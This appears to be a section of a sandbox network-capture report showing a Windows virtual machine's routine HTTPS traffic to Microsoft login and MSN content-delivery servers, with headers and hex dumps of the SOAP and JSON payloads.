2024-11-28 01:27:11 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 01:27:11 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 01:26:11 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: aa260bfb-cf4c-40ad-95e0-fdb3a3076763 PPServer: PPV: 30 H: BL02EPF0001DA36 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 01:27:11 GMT Connection: close Content-Length: 11197
2024-11-28 01:27:11 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49716	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:11 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-28 01:27:11 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 01:27:12 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 01:26:11 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: 45c1ad60-7a63-4e05-9252-f00e49897074 PPServer: PPV: 30 H: SN1PEPF0002FA7D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 01:27:11 GMT Connection: close Content-Length: 11197
2024-11-28 01:27:12 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49718	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:12 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012707Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ac3bff30e90b42f79b63fc8445a2edc5&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVZpB3isqrCjtyh8CDNx8JJU0719TV0BFBTr3kqLLBv38RjxSbq4+V/5DL9LRzSMfvfSh0JkyOgcUQR5+a8h3UIPJx8p3qQGyoM0G2yEFJsSJ7ypEIQMoIwr6FkUw8v2TahTXLtb264hplaEoCUEzRXiMi5KyHn1vXbq06cjQaFcfhqAWBkYDAqwJ5Q7jrlrxK0WDwMmiXAqBWkDHRu+5OhUrBUvMJtal9xcOE4l+uHXukmRXtpQJwwBgtyV+sAc/6Djm7MsFdUyiPYrgHuY67VnREcoymeJJqJpsW0v01VnI5aAGigXvK3neigmKo0PWq0MyBQ16HI8csMN9ftYuyMQZgAAEAjZAPAaJI0J6xcM0swevkiwAUqsR3DTlTAb6QsRlIf5AXPi8Yc4mqErIgtSN7YjiVmN9BMXPgFvaKbpuOvHn6GlSke5lim0QbEp1KJoe99Ai0rXrCQS/G/Ee09kqZWqnaYA0vuJsRDgLKXlVAJ6txlfCAS7KhYoqshhw7J/6vJ/J5U1/geVz4ZfyLBhBcu/UynmYijS+KWF/hndZPJvi2N5tb0JaYHtu6j98P6Cl2Ir2qUpC4D4iJhuN1WVh8eQF2b9A9ewDFVtw7xM7o8t/bIT3lo7o34f2QtGyDH/xFddpO8rFwrT9JdI9VMftkjMN1o2cLidM/bUNL2hJBxSIGOqBSGA0V06OebmIpH7o/fGcAUROsz5ft0bKMPp1OIsMPY/WHWCYDqZ0z9Gmhau2TSqM87KC4Qrremso7yCeD7tr/PE2zot/g/xFk8yhTfsVO6ePHCJwQY6ZX4hN34UHPgWaH01GE0igeK/jQlGyM+cpNbLwdbfbFunBbiQgyydu3WFbZZ9q3FlmxOD2HRV24ylumQjsMN8hbBfKNurMfyyYungasYr7Jd/r0JbzQ1aQkCvuz8iJPOFI3ADAVq5QVDAhtgB&p= Cache-Control: no-cache MS-CV: xvordVrvSkaV7eTE.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 01:27:13 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: nXtIKMeWqwDLnpSJy0naU2roswyXKQ54OukcPRYcR2/oswYYgGvdz78Ct14eKIV6vBnvT0YhxcW8HIsh+d4w4JTDi+9qSU3fod/T1e5+aHzDP8OH+nTWoPxzhU2gfliNX9zDvWDfWdjNIQPSl+ItMK3aKxQHmsyZ5bM8JQJT0eQweoM6DWKG//va953waxuAGSat9RaTOuqXQ7ApDA5iz2ChlSpdWKKTzathKLPU3OJcqUi6Ts5YPMKO4fl9p6rZghj8JGuaZta2OPZHMKH/8jNIFOFXd/vrSpHAP8nZhq7LFB3TSlA9A0VB36f6HsOW6NzG4YfNXI/e8EHYD/Ghbw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 01:27:11 GMT Connection: close
2024-11-28 01:27:13 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49719	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:14 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012707Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=e218c7845e7e44e5817b3335b6d8abdc&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAEG0IZGTzKea5C++Qf46Ul2ywAY2kfnq+NLsmQ4cqC/klLMKaFVj9uoaRWpVQvS1ilsFVrTt4RSTcBsPcYbqUWVhKTQAjzZyDVoHIFRVKQyhwbuZbInTU9OaVndrjAtqVZqonkmDs/CiSC7K3IbgqI8vCRP0R0mNdidE4DlgvsUScutN693S32SLtXnkxAQQr3pOTzbon3Kc/yGBI5E4wdUZeA3FpKcUL11EKnd10IwAmUbeVvi4G+JFPVtHj7+90KXc8v01bBoBs55F5KEz4wlRNeOAxTHYAxJ7dBiziQoIQExqhittYDp/hNvwNhroYE9vP2oDmnLq8Ekhi+2znHZbmLDdrEWdHW3smsOE4/VoAEYMGfu4jt8BMyUnhus/QgCmX+2SXa+YPUQY534ZPQu4g55q+13yr6uk8WvJOieFQJmI6IXsrmop9nqAlEYrWua0mjRjgR9A0iK9W18eFCO9Bc63WSLg9qiWBc5j7NkW5H1ceLxGtCrhwAZ7Ag5yYYj/KBS0M3v7OErGrSCz8nHUGWSsdesLvOjzv7osC0tWLOTP1qDUeX1IK/pW+JjiTZeiPi9cC8Pc/r4B/AFz2bu7oZNgB&p= Cache-Control: no-cache MS-CV: xvordVrvSkaV7eTE.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 01:27:14 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2299 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: iUahZymo2FMqUJyxvJU0Mytl4cJfVzN/m8GxqrP7zgmmtHlCeQMWphvrqI0k+5g/f8tgl2IUi5+fBZQMzBX1+RauxJZkFrtaeO/u21BzYSYjAEqqH7Lyc6IEE/+ce1JajUl6D7wxUxAThbYAO6b4nckaldGa+w5qTczpESHUA70wFfCdcaxrtfywiV3kKGrAIY/OVkCuxBWE/VkLfePkuMlNTOLlAQr/fxjMEGKXgIaYILEt9T8M2xy4J6hEWjFZin9G5c38w4n090FPm3aWI93DykmyzU41nOuZr608b0QsN4w0CO+cX609RbhljyLqyQwu1+FKBdAKwdPhJ1okXA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 01:27:13 GMT Connection: close
2024-11-28 01:27:14 UTC	2299	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49720	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:14 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012707Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3a29e97ad5194046a8c09a1d6ecb1e40&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p= Cache-Control: no-cache MS-CV: xvordVrvSkaV7eTE.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 01:27:14 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23152 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: liyIga1k2QKGSkoTJNRq7t9hIC9mCvPFRhB05qsA1sm59lICfrkT8H1Um/w08k7R9YBPxYmONUQ6JVu2I+nlG09HqkAiCYsWD6XsAWd3uq8WYPUDQ54AmLoiiOOG8dCPUztQ9oUAfmKX7unoN7PRPTXP2KO60pXmQRHciNv93zp3geYiM0Xho0f0NbMkko7LnJUtLpsSzDNtyR/xljRvqVl6TU/wX94p4hPijzonaTVJppSdzD7AdAteScRPGqR1unaWIkxDHzF7FgmNh96Lf3w8BDFtDWo2ERxlKDFmvoLXg7/fWwzxqcmTOA9Gb3yOnwWToO6HRl6HjMQmzWKQrg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 01:27:13 GMT Connection: close
2024-11-28 01:27:14 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
